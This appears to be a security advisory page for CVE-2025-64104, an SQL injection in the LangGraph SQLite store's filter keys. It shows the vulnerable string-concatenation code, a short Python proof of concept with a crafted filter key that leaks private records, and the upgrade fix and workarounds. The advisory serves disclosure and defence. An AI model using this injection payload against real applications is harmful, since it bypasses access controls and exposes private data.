CVE-2025-64104 is a high-severity (CVSS 7.3) SQL Injection vulnerability in langgraph-checkpoint-sqlite. A fix is available for langgraph-checkpoint-sqlite — see the affected versions and patch details below.
LangGraph SQLite Checkpoint Filter Key SQL Injection POC for SqliteStore
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for CVE-2025-64104.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
Where this sits among everything scored
Real-World Exposure
langgraph-checkpoint-sqliteReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Summary
LangGraph's SQLite store implementation contains SQL injection vulnerabilities using direct string concatenation without proper parameterization, allowing attackers to inject arbitrary SQL and bypass access controls.
Details
/langgraph/libs/checkpoint-sqlite/langgraph/store/sqlite/base.py
The key portion of the JSON path is concatenated directly into the SQL string without sanitation. There's a few different occurrences within the file.
filter_conditions.append(
"json_extract(value, '$."
+ key # <-- Directly concatenated, no escaping!
+ "') = '"
+ value.replace("'", "''") # <-- Only value is escaped
+ "'"
)
Who is affected
This issue affects only developers or projects that directly use the checkpoint-sqlite store.
An application is vulnerable only if it:
- Instantiates the
SqliteStorefrom thecheckpoint-sqlitepackage, and - Builds the
filterargument using keys derived from untrusted or user-supplied input (such as query parameters, request bodies, or other external data).
If filter keys are static or validated/allowlisted before being passed to the store, the risk does not apply.
Note: users of LangSmith deployments (previously known as LangGraph Platform) are not affected as those deployments rely on a different checkpointer implementation.
PoC
Complete instructions, including specific configuration details, to reproduce the vulnerability.
#!/usr/bin/env python3
"""Minimal SQLite Key Injection POC for LangGraph"""
from langgraph.store.sqlite import SqliteStore
# Create store with test data
with SqliteStore.from_conn_string(":memory:") as store:
store.setup()
# Add public and private documents
store.put(("docs",), "public", {"access": "public", "data": "public info"})
store.put(("docs",), "private", {"access": "private", "data": "secret", "password": "123"})
# Normal query - returns 1 public document
normal = store.search(("docs",), filter={"access": "public"})
print(f"Normal query: {len(normal)} docs")
# SQL injection via malicious key
malicious_key = "access') = 'public' OR '1'='1' OR json_extract(value, '$."
injected = store.search(("docs",), filter={malicious_key: "dummy"})
print(f"Injected query: {len(injected)} docs")
for doc in injected:
if doc.value.get("access") == "private":
print(f"LEAKED: {doc.value}")
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | langgraph-checkpoint-sqlite | all versions | 2.0.11pip install --upgrade 'langgraph-checkpoint-sqlite==2.0.11' |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for langgraph-checkpoint-sqlite, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update langgraph-checkpoint-sqlite to 2.0.11 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2025-64104 is resolved across your whole dependency graph.
Workarounds
Until you can upgrade, make sure every query built from user input uses parameterised statements or a prepared-statement API rather than string concatenation, and reduce the database account's privileges so an injected query cannot read or alter data beyond what the feature needs.
Frequently Asked Questions
Is CVE-2025-64104 in your dependencies?
Find it across PyPI, including transitive dependencies.